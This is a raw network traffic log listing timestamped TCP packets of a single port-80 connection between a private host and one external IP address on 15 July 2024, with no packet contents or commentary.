Jul 15, 2024 00:48:33.550743103 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.550800085 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.550812006 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.550823927 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.550825119 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.550837040 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.550839901 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.550853014 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.550863028 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.550873995 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.550892115 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.550941944 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.550954103 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.550965071 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.550977945 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.550987959 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551004887 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.551032066 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.551059008 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551070929 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551084042 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551096916 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551104069 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.551121950 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.551199913 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551213026 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551232100 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551237106 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.551245928 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551259995 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551282883 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.551304102 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.551336050 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551693916 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551718950 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551728010 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551750898 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551753044 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.551764011 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551775932 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.551800966 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.551840067 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551852942 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551872015 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551883936 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551896095 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.551919937 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.551949024 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551964045 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551975012 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.551995039 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552000046 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.552036047 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.552105904 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552119017 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552128077 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552160978 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.552406073 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552417994 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552432060 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552443981 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552443981 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.552458048 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552467108 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.552494049 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.552494049 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552515030 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552530050 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552541018 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552551031 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.552561998 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552572966 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552582979 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.552583933 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552598953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552601099 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.552613974 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552640915 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552643061 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.552720070 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552727938 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.552732944 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552764893 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552767038 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.552777052 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552802086 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552813053 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552820921 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.552862883 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.552879095 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552891970 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552911997 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552920103 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.552923918 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552937984 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552948952 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.552963018 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.552980900 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.552989960 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553002119 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553040028 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.553040028 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553055048 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553105116 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.553128958 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553142071 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553152084 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553164005 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553175926 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.553239107 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.553252935 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553263903 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553276062 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553288937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553308010 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.553328037 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.553335905 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553348064 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553359032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553394079 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.553416014 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553426981 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553440094 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553452969 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.553472996 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.553493023 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553503990 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553517103 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553529024 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553543091 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553553104 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.553575993 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.553586960 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553600073 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553611040 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553622961 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553626060 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.553648949 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.553725958 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553740025 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553750992 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553765059 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553770065 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.553778887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553792000 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553792000 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.553814888 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.553946018 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553988934 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.553991079 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.554003954 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.554025888 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.554038048 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.554061890 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.554088116 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.554089069 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.554104090 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.554114103 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.554135084 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.554792881 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.554804087 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.554814100 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.554833889 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.554841995 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.554867983 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.554872990 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.554886103 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.554898024 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.554908991 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.554915905 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.554940939 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.607052088 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.639267921 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639292955 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639306068 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639347076 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.639374971 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639394999 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639408112 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639421940 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639432907 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.639436960 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639461994 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.639470100 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639483929 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639487982 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.639498949 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639512062 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639532089 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639533043 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.639559031 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.639868021 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639882088 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639894009 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639899969 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639919996 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639933109 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639936924 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.639945984 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639957905 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639966011 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.639971972 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639983892 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.639985085 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.639998913 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.640012026 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.640026093 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.640050888 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.640059948 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.640073061 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.640083075 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.640095949 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.640108109 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.640120983 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.640120983 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.640170097 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.640244961 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.640320063 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.640331030 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.640358925 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.640399933 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.640414000 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.640445948 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.640564919 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.640578985 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.640590906 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.640603065 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.640616894 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.640618086 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.640647888 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.640676975 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.640813112 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.640825987 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.640839100 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.640851021 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.640861988 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.640865088 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.640894890 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.641376019 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.641427040 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.641434908 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.641448021 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.641484976 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.641546965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.641558886 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.641570091 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.641582012 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.641592979 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.641593933 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.641640902 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.641772032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.641783953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.641794920 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.641805887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.641818047 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.641819954 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.641834021 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.641855001 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.641885996 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.641907930 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.641921043 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.641940117 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.641948938 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.641953945 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.641967058 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.641978025 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.641979933 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.641989946 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642003059 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642020941 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.642031908 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.642057896 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642076969 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642087936 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642096043 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.642098904 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642112017 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642117023 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.642124891 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642137051 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642143965 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.642149925 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642163992 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642174006 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642184973 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642191887 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.642196894 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642210007 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.642210960 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642221928 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642232895 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.642235041 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642250061 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642256021 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.642321110 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.642349005 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642365932 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642378092 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642388105 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.642391920 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642416000 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642426968 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642430067 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.642430067 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.642438889 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642452955 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642458916 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.642472029 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642483950 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642494917 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642499924 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.642508030 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642519951 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642523050 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.642539024 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642553091 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642556906 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.642565012 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642580032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642586946 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.642591953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642602921 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.642607927 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642616034 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642635107 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642644882 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642657042 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642657995 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.642668962 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642682076 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:33.642683029 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.642700911 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:33.643237114 CEST	80	57614	23.227.193.59	192.168.2.5
